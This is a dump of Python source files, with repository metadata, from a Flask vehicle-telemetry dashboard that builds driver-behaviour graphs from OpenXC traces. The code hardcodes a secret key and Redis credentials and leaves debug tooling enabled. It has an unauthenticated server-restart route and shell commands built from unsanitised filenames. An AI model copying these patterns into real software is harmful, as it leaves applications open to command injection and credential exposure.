uuid4\r\nfrom datetime import datetime\r\nfrom ...extensions import db\r\n\r\n\r\n# ------------------------------ File Model -------------------------------- #\r\n\r\n\r\nclass File(db.Model):\r\n\r\n __tablename__ = 'files'\r\n\r\n id = db.Column(db.Integer, primary_key=True)\r\n\r\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'), nullable=False)\r\n user = db.relationship('User', backref=db.backref('files', lazy='dynamic'))\r\n\r\n filename = db.Column(db.String(255))\r\n path = db.Column(db.String(255), nullable=False, unique=True)\r\n processed = db.Column(db.SmallInteger, default=0)\r\n created = db.Column(db.DateTime(), default=datetime.utcnow())\r\n\r\n def __init__(self, user_id, filename=None, path=None, processed=0):\r\n self.filename = filename\r\n self.path = path\r\n self.user_id = user_id\r\n self.processed = processed\r\n\r\n def is_processed(self):\r\n return self.processed == 1\r\n\r\n def __repr__(self):\r\n return '<File {}>'.format(self.filename)\r\n\r\n @classmethod\r\n def get_by_user_id(cls, user_id, processed=0):\r\n return cls.query.filter(\r\n File.user_id == user_id and File.processed == processed\r\n ).all()\r\n" }, { "alpha_fraction": 0.6300984621047974, "alphanum_fraction": 0.6347866654396057, "avg_line_length": 33.40322494506836, "blob_id": "799855806acf1aeda8f77202edec9ae77e49bd49", "content_id": "4ae27ae6d1f94c1d8a4e202c1ea6c603e057162a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2133, "license_type": "no_license", "max_line_length": 93, "num_lines": 62, "path": "/config/config.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import os\n\n\n# --------------------------- Default Configuration ------------------------- #\nclass DefaultConfig(object):\n # Project name\n PROJECT = \"vCar\"\n # Turns on debugging features in Flask\n DEBUG = True\n # secret key\n SECRET_KEY = \"Zfe&45f4y5fhgse6f4e&@+-%_r4oij5hgfa&#@\"\n # Redis database url\n REDIS_URL = \"redis://:password@localhost:6379/0\"\n # Flask Session type\n SESSION_TYPE = 'filesystem'\n # Configuration for the Flask-Bcrypt extension\n BCRYPT_LEVEL = 12\n # Application root directory\n APP_ROOT = os.path.dirname(os.path.abspath('.'))\n # Application email\n MAIL_FROM_EMAIL = \"[email protected]\"\n # Upload directory\n UPLOAD_DIR = \"static/uploads/\"\n # Avater upload directory\n UPLOAD_AVATAR_DIR = os.path.join(UPLOAD_DIR, 'avatars/')\n ALLOWED_AVATAR_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])\n # Instance folder path\n INSTANCE_FOLDER_PATH = os.path.join(os.path.abspath('.'), 'instance')\n # INSTANCE_FOLDER_PATH = os.path.join('/home/karim/OpenXC/Dashboard/Flask/instance')\n # INSTANCE_FOLDER_PATH = os.path.join('I:/home/karim/OpenXC/Dashboard/Flask', 'instance')\n UPLOAD_USER = \"/uploads/avatars/\"\n UPLOAD_BRAND = \"/uploads/brands/\"\n UPLOAD_DRIVER = \"/uploads/drivers/\"\n UPLOAD_VEHICLE = \"/uploads/vehicles/\"\n UPLOAD_RECORDS = \"/uploads/records/\"\n UPLOAD_PLATFORM = \"/uploads/platforms/\"\n # Cache configuration\n CACHE_TYPE = 'null'\n CACHE_DEFAULT_TIMEOUT = 1\n TEMPLATES_AUTO_RELOAD = True\n # ToolbarExtention Configuration\n DEBUG_TB_ENABLED = True\n DEBUG_TB_INTERCEPT_REDIRECTS = False\n DEBUG_TB_TEMPLATE_EDITOR_ENABLED = True\n DEBUG_TB_PROFILER_ENABLED = True\n\n\n# ---------------------------- Debug Configuration -------------------------- #\n\n\nclass DebugConfig(DefaultConfig):\n # Turns on debugging features in Flask\n DEBUG = True\n # secret key\n SECRET_KEY = \"devlopement key\"\n # Avater upload directory\n UPLOAD_AVATAR_DIR = \"static/uploads/avatars/\"\n # Instance folder path\n INSTANCE_FOLDER_PATH = os.path.join('/tmp', 'instance')\n # Cache configuration\n CACHE_TYPE = 'null'\n CACHE_DEFAULT_TIMEOUT = 60\n" }, { "alpha_fraction": 0.5079169869422913, "alphanum_fraction": 0.5100281238555908, "avg_line_length": 29.395721435546875, "blob_id": "d10b8c890b520e103cf2bc657ab2655e290b0c23", "content_id": "c2357f66b54ca503698930d3f55139bc1c30cb1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5684, "license_type": "no_license", "max_line_length": 79, "num_lines": 187, "path": "/app/dashboard/views.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import os\nfrom os.path import basename\nimport json\nfrom werkzeug import secure_filename\nfrom threading import Thread, active_count\nfrom flask import (\n Blueprint, render_template, request, flash, redirect, url_for, Response\n)\nfrom flask_login import (\n login_user, logout_user, login_required, current_user\n)\n\nfrom .models import Trace\nfrom .drivergraph import DriverGraph\nfrom .helpers import upload_trace, debug\nfrom .tasks import task_info, openxc_task\nfrom ..extensions import db\n\nfrom elasticsearch import Elasticsearch, helpers\n\n\ndashboard = Blueprint('dashboard', __name__, url_prefix='/dashboard')\n\n\n# -------------------- /dashboard : Dashboard home page -------------------- #\n\n# @dashboard.route('/stream')\n# def stream():\n# return Response(task_info(), mimetype=\"text/event-stream\")\n\n\[email protected]('/')\n@login_required\ndef index():\n return render_template('dashboard/index.html', user=current_user)\n\n# ------------------------- /import : Import Addons ------------------------- #\n\n\[email protected]('/import')\n@login_required\ndef import_index():\n return render_template('dashboard/import/index.html', user=current_user)\n\n# __________________________________________________________________________ #\n# | | #\n# | OPENXC | #\n# | | #\n# __________________________________________________________________________ #\n\n# ---------------- /dashboard/import/openxc : User home page --------------- #\n\n\[email protected]('/import/openxc', methods=['GET', 'POST'])\n@login_required\ndef import_openxc():\n if request.method == 'POST':\n openxc = upload_trace('openxc', current_user.id)\n if openxc['status'] is True:\n trace = Trace(\n user_id=current_user.id,\n filename=basename(openxc['message']),\n path=openxc['message']\n )\n db.session.add(trace)\n db.session.commit()\n return json.dumps(openxc)\n return render_template('dashboard/import/openxc.html', user=current_user)\n\n# --------------- /import/openxc/process : Process openxc file ------------- #\n\n\[email protected]('/import/openxc/process', methods=['GET', 'POST'])\n@login_required\ndef process_openxc():\n if request.method == 'POST':\n traces = request.form.getlist('traces')\n thread = Thread(target=openxc_task, args=[traces, current_user.id])\n thread.daemon = True\n thread.start()\n # thread.join(1)\n # print(active_count())\n else:\n return redirect(url_for('dashboard.import_openxc'))\n return render_template(\n 'dashboard/import/openxc_porcess.html',\n user=current_user\n )\n\n# ------------------------- /openxc : Openxc Dashboard ---------------------- #\n\n\[email protected]('/openxc/', methods=['GET'])\n@login_required\ndef openxc():\n info = {\n index: 'openxc',\n type: 'driver_{}'.format(current_user.id)\n }\n return render_template(\n 'dashboard/openxc.html',\n user=current_user,\n elastic=info\n )\n\n# -------------------------- /openxc/map : Openxc Map ----------------------- #\n\n\[email protected]('/openxc/map', methods=['GET'])\n@login_required\ndef openxc_map():\n info = {\n index: 'openxc',\n type: 'driver_{}'.format(current_user.id)\n }\n return render_template(\n 'dashboard/openxc_map.html',\n user=current_user,\n elastic=info\n )\n\n# ------------------------ /openxc/graph : Openxc Graph --------------------- #\n\n\[email protected]('/openxc/graph', methods=['GET'])\n@login_required\ndef openxc_graph():\n index = \"openxc\"\n type = \"driver_{}\".format(current_user.id)\n size = 10000\n es = Elasticsearch([{\n 'host': 'localhost',\n 'port': 9200\n }])\n es.cluster.health(wait_for_status='yellow', request_timeout=1)\n if es.indices.exists(index=index):\n body = {\n \"sort\": [\n {\"timestamp\": {\"order\": \"asc\"}}\n ],\n \"query\": {\n \"bool\": {\n \"should\": [\n {\"term\": {\"name\": 'vehicle_speed'}},\n {\"term\": {\"name\": 'engine_speed'}},\n {\"term\": {\"name\": 'fuel_level'}},\n {\"term\": {\"name\": 'torque_at_transmission'}},\n {\"term\": {\"name\": 'transmission_gear_position'}}\n ]\n }\n }\n }\n res = es.search(index=index, doc_type=type, size=size, body=body)\n # print(\"Got {} Hits:\".format(res['hits']['total']))\n # for hit in res['hits']['hits']:\n # print(\"%(timestamp)s %(name)s: %(value)s\" % hit[\"_source\"])\n if res['hits']['total'] > 0:\n driver = DriverGraph()\n driver.build_digraph(res)\n graph = driver.vis_network(True)\n\n info = {\n index: 'openxc',\n type: 'driver_{}'.format(current_user.id)\n }\n return render_template(\n 'dashboard/openxc_graph.html',\n user=current_user,\n elastic=info,\n graph=graph\n )\n\n# ---------------------------- /kill : kill Server ------------------------- #\n\n\n# @dashboard.route('/kill')\n# def killo():\n# func = request.environ.get('werkzeug.server.shutdown')\n# if func is None:\n# raise RuntimeError('Not running with the Werkzeug Server')\n# func()\n# return \"Flask Development Server killed successfully!\"\n\n\[email protected]('/restart')\ndef restart_server():\n os.kill(os.getpid(), signal.SIGHUP)\n" }, { "alpha_fraction": 0.47234365344047546, "alphanum_fraction": 0.479186475276947, "avg_line_length": 22.591928482055664, "blob_id": "d464a6001503075c14ed71d30bd654b1dec4c621", "content_id": "a06572ad10ff156f4150fbfa0527122f7a983beb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5261, "license_type": "no_license", "max_line_length": 86, "num_lines": 223, "path": "/app/carboard/forms/user.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField, PasswordField, BooleanField, HiddenField, SelectField\nfrom wtforms.validators import (\n DataRequired, Regexp, ValidationError, Email, Length, EqualTo\n)\nfrom flask_wtf.file import FileAllowed, FileField\nfrom ..models.user import User\nfrom ..constants import ROLES\n\n# ------------------------ custom validation methods ------------------------ #\n\n\ndef name_exist(form, field):\n if User.query.filter_by(username=field.data).exists():\n raise ValidationError('User already exists !')\n\n\ndef email_exist(form, field):\n if User.query.filter_by(email=field.data).exists():\n raise ValidationError('Email already exists !')\n\n\n# ---------------------------- User form classes ---------------------------- #\n\nclass UserForm(FlaskForm):\n \"\"\" User add/edit FlaskForm \"\"\"\n fullname = StringField(\n 'Full name',\n validators=[\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-Z0-9 ,._-]+$',\n message=(\"Full name is not correct !\")\n )\n ]\n )\n username = StringField(\n 'Username',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-A0-9_]+$',\n message=(\"Username is not correct !\")\n ),\n # name_exist\n ]\n )\n email = StringField(\n 'Email',\n validators=[\n DataRequired(),\n Email(),\n # email_exist\n ]\n )\n password = PasswordField(\n 'Password',\n validators=[\n DataRequired(),\n Length(min=4),\n EqualTo('password2', message='Password must much !')\n ]\n )\n password2 = PasswordField(\n 'Confirm Password',\n validators=[\n DataRequired()\n ]\n )\n avatar = FileField(\n 'Avatar', validators=[\n FileAllowed(['jpg', 'png', 'gif'], 'Images only plz :)')\n ]\n )\n role = SelectField(\n 'Role',\n coerce=int,\n choices=ROLES,\n validators=[\n DataRequired(),\n ]\n )\n\n\nclass RegisterForm(FlaskForm):\n \"\"\" RegisterForm FlaskForm \"\"\"\n username = StringField(\n 'Username',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-Z0-9_]+$',\n message=(\"Username is not correct !\")\n ),\n # name_exist\n ]\n )\n email = StringField(\n 'Email',\n validators=[\n DataRequired(),\n Email(),\n # email_exist\n ]\n )\n password = PasswordField(\n 'Password',\n validators=[\n DataRequired(),\n Length(min=4),\n EqualTo('password2', message='Password must much !')\n ]\n )\n password2 = PasswordField(\n 'Confirm Password',\n validators=[\n DataRequired()\n ]\n )\n avatar = FileField(\n 'Avatar', validators=[\n FileAllowed(['jpg', 'png', 'gif'], 'Images only plz :) ')\n ]\n )\n\n\nclass LoginForm(FlaskForm):\n \"\"\"Login FlaskForm\"\"\"\n # next = HiddenField()\n login = StringField(\n 'Username or email',\n validators=[\n DataRequired()\n ]\n )\n password = PasswordField(\n 'Password',\n validators=[\n DataRequired()\n ]\n )\n remember = BooleanField('Remember me?')\n # submit = SubmitField('Sign in')\n\n\nclass RecoverPasswordForm(FlaskForm):\n email = StringField(\n 'Email',\n validators=[\n DataRequired(),\n Email()\n ]\n )\n\n\nclass ChangePasswordForm(FlaskForm):\n activation_key = HiddenField()\n password = PasswordField(\n 'Password',\n validators=[\n DataRequired(),\n Length(min=4),\n EqualTo('password2', message='Password must much !')\n ]\n )\n password2 = PasswordField(\n 'Confirm Password',\n validators=[\n DataRequired()\n ]\n )\n\n\nclass ReauthForm(FlaskForm):\n password = PasswordField(\n 'Password',\n validators=[\n DataRequired(),\n Length(min=4),\n EqualTo('password2', message='Password must much !')\n ]\n )\n\n\nclass ProfileForm(FlaskForm):\n fullname = StringField(\n 'Full name',\n validators=[\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-Z0-9,._-]+$',\n message=(\"Full name is not correct !\")\n ),\n name_exist\n ]\n )\n username = StringField(\n 'Username',\n validators=[\n DataRequired(),\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-A0-9_]+$',\n message=(\"Username is not correct !\")\n ),\n name_exist\n ]\n )\n email = StringField(\n 'Email',\n validators=[\n DataRequired(),\n Email(),\n email_exist\n ]\n )\n avatar = FileField(\n 'Avatar', validators=[\n FileAllowed(['jpg', 'png', 'gif'], 'Images only plz :)')\n ]\n )\n" }, { "alpha_fraction": 0.4688202142715454, "alphanum_fraction": 0.4733578860759735, "avg_line_length": 38.255733489990234, "blob_id": "eecce5a182ec848b3c6c0b13548cea0b17ae94ec", "content_id": "a1609c5517c4bbc3f8e4bf61ec1e2dc96fc3f75d", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22258, "license_type": "permissive", "max_line_length": 81, "num_lines": 567, "path": "/app/plugins/driver_graph/src/algorithms/drivergraph.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport os\nimport copy\nimport json\nimport yaml\nfrom random import choice\nimport networkx as nx\nfrom networkx.drawing.nx_pydot import write_dot, read_dot\nfrom networkx.readwrite import json_graph\nimport networkx.algorithms.isomorphism as iso\n\nfrom .settings import DefaultSettings\nfrom .settings import DATA, WEIGHT, COLORS\n\n# ___________________________ Start : DriverGraph ___________________________ #\n\n\nclass DriverGraph:\n \"\"\" this class create a driver graph using registred\n driver traces, after an abstraction algorithm wich\n is configured using the settings configuration\n \"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"inisialize the DriverGraph with optional arguments\"\"\"\n self.name = kwargs.get('name', 'Driver Bihavior Graph')\n self.settings = kwargs.get('settings', DefaultSettings)\n self.max_nodes = kwargs.get('max_nodes', None)\n self.node_id = kwargs.get('init_node', 0)\n self.G = kwargs.get('graph', None) # Networkx graph\n self.last_id = 0 # internal param\n # ====================================================================== #\n\n @property\n def settings(self):\n return self._settings\n\n @settings.setter\n def settings(self, settings):\n self._settings = settings\n # ====================================================================== #\n\n def __str__(self):\n return \"<DriverGraph name: {}, time: {}, settings: {}>\".format(\n self.name, self.time, self.settings\n )\n # ====================================================================== #\n\n def show_attributes(self):\n \"\"\"Show DriverGraph attributes\"\"\"\n print(\"\\nATTRIBUTES:\")\n for node_id, attributes in self.G.nodes(data=True):\n print(\"Node {} :: [\".format(node_id), end='')\n for name, value in attributes.items():\n print(\"{} |\".format(value), end=' ')\n print(\"]\")\n\n def show_edges(self):\n \"\"\"Show DriverGraph edges\"\"\"\n print(\"\\nEDGES :\")\n for id1, id2 in self.G.edges():\n # if id1 == 4 and id2 == 6:\n # print(self.G.node[id1])\n # print(self.G.node[id2])\n print(\"({}, {}, {})\".format(\n id1, id2, self.G[id1][id2]['weight']\n ), end=', ')\n print()\n\n def debug(self, id=None):\n if id is None:\n for node_id, attributes in self.G.nodes(data=True):\n print('-------------- Node {} --------------'.format(node_id))\n for att, value in attributes.items():\n print(\">>[[{}]] {} : {}\".format(id, att, value))\n else:\n print('.', end=\"\")\n\n def graph_summary(self):\n print(\"\\nNodes: {}\".format(len(self.G.nodes(data=True))))\n print(\"\\nEdges: {}\".format(len(self.G.edges())))\n # ====================================================================== #\n\n def create_digraph(self, filename=None):\n \"\"\"Create a Directed Graph from the openxc traces\"\"\"\n if filename is None:\n raise ValueError('Plz provide an openxc trace file.')\n\n data = DATA\n self._init_graph()\n with open(filename, 'r') as f:\n for line in f:\n temp = json.loads(line)\n signal = temp.get('name')\n value = self._invoke_ranges(signal, temp.get('value'))\n if value is None:\n continue\n data = copy.deepcopy(data)\n if signal in data:\n data[signal] = value\n # data[signal] = str(value)\n if self._create_node(data) is False:\n break\n print('Done')\n # ====================================================================== #\n\n def _create_node(self, data):\n \"\"\"Create node if doesn't exist, and create or update edges\"\"\"\n if self.max_nodes is not None and self.node_id >= self.max_nodes:\n return False\n # print(\"---------------------------------------------------->\")\n id = self._find_node(data)\n # print(\"---------------------------------------------------->\")\n # self.debug(self.node_id)\n if id is None:\n self.node_id += 1\n self.G.add_node(self.node_id, data)\n self.G.add_edge(self.last_id, self.node_id, weight=WEIGHT)\n # print(self.G.nodes())\n # print(self.G.edges())\n self.last_id = self.node_id\n # print(self.node_id, self.last_id)\n else:\n if self.G.has_edge(self.last_id, id):\n # print(\"Edge exist\")\n self.G[self.last_id][id]['weight'] += WEIGHT\n else:\n pass\n # print(\"New Edge\")\n self.G.add_edge(self.last_id, id, weight=WEIGHT)\n # print(self.G.edges())\n self.last_id = id\n # ====================================================================== #\n\n def _init_graph(self):\n \"\"\" inisialize the graph with the first ZERO node\"\"\"\n # self.G = nx.DiGraph(name=self.name)\n self.G = nx.DiGraph()\n self.G.add_node(self.node_id, DATA)\n # ====================================================================== #\n\n def _find_node(self, data):\n \"\"\"\n Loop throw the whole graph!, to check if a node hase the same\n attributes as the data argument, if so return the node id,\n otherwise return None.\n \"\"\"\n for node_id, attributes in self.G.nodes(data=True):\n # print(\">> {} | {}\".format(node_id, attributes))\n if data == attributes:\n # if node_id >= 5:\n # print(\"data == attributes\")\n # print(node_id, ' -- ' ,end=\"\")\n # for att, value in attributes.items(): print(value ,end=\"\")\n # print(' -- ' ,end=\"\")\n # for att, value in data.items(): print(value ,end=\"\")\n # print()\n return node_id\n else:\n # if node_id >= 5:\n # print(\"data <> attributes\")\n # print(node_id, ' -- ', end=\"\")\n # for att, value in attributes.items(): print(value , end=\"\")\n # print(' -- ', end=\"\")\n # for att, value in data.items(): print(value , end=\"\")\n # print()\n pass\n return None\n # ====================================================================== #\n\n def _invoke_ranges(self, signal, value):\n \"\"\"get the range value from the corret signal\"\"\"\n value = str(value).lower()\n if signal == \"fuel_level\":\n return self._get_range_key(value, self.settings.FUEL_EFFICIENCY)\n elif signal == \"transmission_gear_position\":\n return self._get_range_key(value, self.settings.GEAR_POSITION)\n elif signal == \"vehicle_speed\":\n return self._get_range_key(value, self.settings.VEHICLE_SPEED)\n elif signal == \"engine_speed\":\n return self._get_range_key(value, self.settings.ENGINE_SPEED)\n elif signal == \"torque_at_transmission\":\n return self._get_range_key(value, self.settings.TORQUE)\n # elif signal == \"accelerator_pedal_position\":\n # return self._get_range_key(value, self.settings.ACCEL_PEDAL)\n # elif signal == \"steering_wheel_angle\":\n # return self._get_range_key(value, self.settings.STEERING)\n # elif signal == \"brake_pedal_status\":\n # return self._get_range_key(value, self.settings.PARKING_BRAKE)\n else:\n # print(\"\"\"\n # Error: The signal <<{}>> is not included in the algorithm!\\n\n # Please take a look at the _INVOKE_RANGES function to add it\\n\n # [line 112].\n # \"\"\".format(signal))\n return None\n # ====================================================================== #\n\n def _get_range_key(self, value, d):\n \"\"\"retrun the key from the settings list\"\"\"\n try:\n value = round(float(value), 2)\n debug_key = \"\"\n for key in d:\n if d[key][0] <= value <= d[key][1]:\n # print(\"V({}) =>\".format(key), end=' ')\n return key\n debug_key = key\n print(\"Warning: {} Not Found for {}!!\".format(value, d[debug_key]))\n return -99\n except:\n for key in d:\n if d[key] == value:\n # print(\"G({}) ====>\".format(key), end=' ')\n return key\n print(\"Warning: value {} Not Found in any range !\".format(value))\n return -99\n # ====================================================================== #\n\n def _ranges2real(self, signal, value):\n \"\"\"get the real value from signal range \"\"\"\n value = int(value)\n if value == 0:\n return 0\n if signal == \"fuel_level\":\n return json.dumps(self.settings.FUEL_EFFICIENCY[value])\n elif signal == \"transmission_gear_position\":\n return json.dumps(self.settings.GEAR_POSITION[value])\n elif signal == \"vehicle_speed\":\n return json.dumps(self.settings.VEHICLE_SPEED[value])\n elif signal == \"engine_speed\":\n return json.dumps(self.settings.ENGINE_SPEED[value])\n elif signal == \"torque_at_transmission\":\n return json.dumps(self.settings.TORQUE[value])\n elif signal == \"accelerator_pedal_position\":\n return json.dumps(self.settings.ACCEL_PEDAL[value])\n elif signal == \"steering_wheel_angle\":\n return json.dumps(self.settings.STEERING[value])\n elif signal == \"brake_pedal_status\":\n return json.dumps(self.settings.PARKING_BRAKE[value])\n else:\n return None\n # ====================================================================== #\n\n def factorize_graph(self, factor=1):\n \"\"\"Show DriverGraph attributes\"\"\"\n try:\n for node_id, attributes in self.G.nodes(data=True):\n for name, value in attributes.items():\n self.G.node[node_id][name] = float(value) * factor\n for id1, id2 in self.G.edges():\n self.G[id1][id2]['weight'] *= factor\n except ValueError as e:\n print(\"Errror: \", e)\n # ====================================================================== #\n\n def export_graphml(self, filename=None):\n \"\"\"Export the DriverGraph to graphML format\"\"\"\n if filename is not None:\n nx.write_graphml(self.G, \"{}.graphml\".format(filename))\n\n def import_graphml(self, filename=None):\n \"\"\"Import the DriverGraph from a graphML file\"\"\"\n if filename is not None:\n self.G = nx.read_graphml(filename)\n # ====================================================================== #\n\n def export_json(self, filename=None):\n \"\"\"Export the DriverGraph to Json format\"\"\"\n if filename is not None:\n g_json = json_graph.node_link_data(self.G)\n json.dump(g_json, open(\"{}.json\".format(filename), 'w'), indent=4)\n\n def import_json(self, filename=None):\n \"\"\"Import the DriverGraph from a Json file\"\"\"\n if filename is not None:\n with open(filename) as f:\n js_graph = json.load(f)\n self.G = json_graph.node_link_graph(js_graph)\n # ====================================================================== #\n\n def export_gexf(self, filename=None):\n \"\"\"Export the DriverGraph to GEXF format\"\"\"\n if filename is not None:\n nx.write_gexf(self.G, \"{}.gexf\".format(filename))\n print(\"File exported\")\n\n def import_gexf(self, filename=None):\n \"\"\"Import the DriverGraph from a GEXF file\"\"\"\n if filename is not None:\n self.G = nx.read_gexf(filename)\n # ====================================================================== #\n\n def export_gxl(self, filename=None):\n \"\"\"Export the DriverGraph to GXL format\"\"\"\n if filename is not None:\n write_dot(self.G, \"helpers/_tmp/xfile.dot\")\n os.system(\"dot2gxl helpers/_tmp/xfile.dot -o {}\".format(filename))\n os.system(\"sed -i -e '/name=\\\"name\\\"/ ,+2d' {}\".format(filename))\n\n def import_gxl(self, filename=None, digraph=True):\n \"\"\"Import the DriverGraph from a GXL file\"\"\"\n if filename is not None:\n os.system(\"gxl2dot {} -o helpers/_tmp/ifile.dot\".format(filename))\n self.G = read_dot(\"helpers/_tmp/ifile.dot\")\n # ====================================================================== #\n\n def browse_sigma(self, filename=None):\n \"\"\"View the Graph in borwser using sigmajs and GEXF format\"\"\"\n self.export_gexf(\"helpers/sigma/driver_graph\")\n os.system(\"cd helpers/sigma && python2 -m SimpleHTTPServer 8002\")\n # ====================================================================== #\n\n def _build_vis_network(self, nodes, edges, physics=False):\n # \"barnesHut\": {{\"centralGravity\": 1}},\n html = \"\"\"\n <script type=\"text/javascript\">\n var nodes = new vis.DataSet({nodes});\n var edges = new vis.DataSet({edges});\n var container = document.getElementById(\"driver\");\n var data = {{nodes: nodes, edges: edges}};\n var options = {{\n nodes: {{ size: 25, font: {{size: 14}} }},\n edges: {{\n font: {{size: 10, align: 'middle'}},\n color: 'gray',\n arrows: {{ to: {{enabled: true, scaleFactor: 0.5}} }},\n smooth: {{enabled: true}}\n }},\n layout:{{\n hierarchical: false\n }},\n physics: {{\n enabled: {physics},\n \"timestep\": 1,\n stabilization: true\n }}\n }};\n var network = new vis.Network(container, data, options);\n </script>\n \"\"\"\n html = html.format(\n nodes=json.dumps(nodes),\n edges=json.dumps(edges),\n physics=json.dumps(physics)\n )\n # filename = \"helpers/vis/index.html\"\n # file = open(filename, \"w\")\n # file.write(html)\n # file.close()\n\n return html\n\n def vis_network(self, physics=False):\n nodes = []\n for node_id, attributes in self.G.nodes(data=True):\n tmp = {'id': node_id, 'label': node_id, 'color': choice(COLORS)}\n tmp['title'] = \"<pre>{}</pre>\".format(yaml.dump(\n {k: self._ranges2real(k, v) for k, v in attributes.items()},\n default_flow_style=False\n ))\n nodes.append(tmp)\n edges = []\n for id1, id2 in self.G.edges():\n tmp = {\n 'from': id1,\n 'to': id2,\n 'color': choice(COLORS)\n }\n try:\n tmp['label'] = self.G[id1][id2]['weight']\n except:\n tmp['label'] = self.G[id1][id2][0]['weight']\n edges.append(tmp)\n return self._build_vis_network(nodes, edges, physics)\n # os.system(\"cd helpers/vis && python2 -m SimpleHTTPServer 8001\")\n # ====================================================================== #\n\n @staticmethod\n def build_multiple(files=None, max_nodes=None, export=False):\n if type(files) is list:\n graphs = []\n for file in files:\n graph = DriverGraph(max_nodes=max_nodes, name=\"file\")\n graph.create_digraph(filename=file)\n graphs.append(graph)\n if export is True:\n filename = os.path.splitext(os.path.basename(file))[0]\n graph.export_gxl(\"{}.gxl\".format(filename))\n print(\"[{}]: {} nodes, edges: {}\".format(\n filename, len(graph.G), len(graph.G.edges())\n ))\n return graphs\n else:\n raise ValueError(\"Please provide a list of trace files\")\n # ====================================================================== #\n\n @staticmethod\n def divide_graph(G=None, nparts=2):\n if nparts < 1:\n raise ValueError(\"you cant divide a graph by {}.\".format(nparts))\n elif nparts == 1:\n return self.G\n else:\n parts = [[] for i in range(nparts)]\n # print(zip(G, part))\n # for u, i in zip(G, part):\n # G.remove_node(1)\n # graph_size = len(G)\n # print(graph_size)\n # fist_node = [n for n, d in G.in_degree().items() if d == 0]\n # if len(fist_node) != 1:\n # raise ValueError(\"The graph has\n # {} root nodes.\".format(len(fist_node)))\n\n # for i in nparts:\n # print(i * graph_size / nparts)\n # print(graph_size / nparts)\n # # for i in range(i * graph_size / nparts, (i + 1) *\n # graph_size / nparts):\n # # print(i * graph_size / nparts)\n # # for node_id, attributes in self.G.nodes(data=True):\n # # print(i)\n # pass\n # # parts[i].append(u)\n # # return objval, parts\n # ====================================================================== #\n\n @staticmethod\n def is_isomorphic(G1=None, G2=None, weight=None):\n \"\"\"\n - Structures that are the same except for relabelling\n (can be the same using relabelling technique)\n are called ISOMORPHIC structures.\n - We can match also nodes attributes & edges attributes\n edge attributes are implemented\n - The function return True if G1 & G2 are isomorphic\n False if not\n \"\"\"\n if G1 is None or G2 is None:\n raise ValueError(\"Please provide two graphs.\")\n if weight is None:\n return nx.is_isomorphic(G1, G2)\n else:\n em = iso.numerical_edge_match('weight', weight)\n return nx.is_isomorphic(G1, G2, edge_match=em)\n\n# ____________________________ End : DriverGraph ____________________________ #\n\nif __name__ == \"__main__\":\n try:\n print('working ...')\n Files = [\n # \"traces/usa/downtown-west.json\",\n # \"traces/usa/downtown-west2.json\",\n # \"traces/usa/uptown-west.json\",\n # \"traces/usa/uptown-west2.json\",\n # \"traces/usa/uptown-crossdown.json\",\n # \"traces/usa/uptown-crosstown.json\",\n # \"traces/usa/downtown-crosstown.json\",\n # \"traces/usa/downtown-east.json\",\n # \"traces/scenarios/localwithgps.json\",\n # \"traces/scenarios/highway-speeding.json\",\n ]\n # graphs = DriverGraph.build_multiple(Files, max_nodes=None, export=True)\n # driver = DriverGraph(max_nodes=99)\n driver = DriverGraph()\n # driver.create_digraph(\"traces/usa/downtown-crosstown.json\")\n # driver.export_gxl(\"downtown-crosstown.gxl\")\n driver.create_digraph(\"traces/usa/downtown-east.json\")\n driver.export_gxl(\"downtown-east.gxl\")\n print(len(driver.G))\n print(len(driver.G.edges()))\n # driver.export_json('downtown-crosstown')\n # driver.show_attributes()\n # driver.show_edges()\n # driver.vis_network(True)\n # saya = DriverGraph()\n # driver.import_json(\"saya.json\")\n # saya.import_graphml(\"saya.graphml\")\n # driver.draw_graph('image.png')\n # driver.browse_sigma()\n # driver.export_gxl(\"graph.gxl\")\n # driver.factorize_graph(1.5)\n # driver.export_gxl(\"factorized.gxl\")\n # print(\"-----\")\n # print(len(driver.G))\n # print(len(driver.G.edges()))\n # print(len(driver.G))\n # print(len(driver.G.edges()))\n # driver.vis_network(True)\n # driver.export_gxl(\"graph.gxl\")\n # if DriverGraph.is_isomorphic(driver.G, saya.G):\n # print(\"G1 & G2 are ISOMORPHIC\")\n # else:\n # print(\"G1 & G2 are NOT isomorphic\")\n # driver.export_graphml('downtown-crosstown')\n # driver.export_json('downtown-crosstown')\n #\n # driver.graph_summary()\n # print('---------------')\n # driver.divide_graph(driver.G, 4)\n # print('---------------')\n # driver.graph_summary()\n except ValueError as e:\n print(e)\n # except:\n # print(\"Error !!\")\n\n #\n #\n #\n #\n #\n #\n #\n #\n #\n #\n #\n #\n #\n #\n #\n #\n #\n #\n\n # print(\"{} : {}\".format(temp.get('name'), temp.get('value')))\n # print('***********************')\n\n # print('----')\n # print(\"nam# print(item)\n # print('----')e: {} | value: {}\".format(\n # x.get('name', 'NAME'), x.get('value', 'VALUE')))\n # while True:\n # try:\n # parser = ijsonself. (line)\n # for prefix, event, value in parser:\n # if prefix == \"name\":\n # print(value)\n # if prefix == \"value\":\n # print(value)\n # if prefix == \"timestamp\":\n # print(value)\n # except ValueError:\n # line += next(f)\n\n # print(\"prefix: {} | value: {} | event: {}\".format(prefix, value, event))\n # ret = {'builders': {}}\n # if (prefix, event) == ('builders', 'map_key'):\n # buildername = value\n # ret['builders'][buildername] = {}\n # elif prefix.endswith('.shortname'):\n # ret['builders'][buildername]['shortname'] = value\n 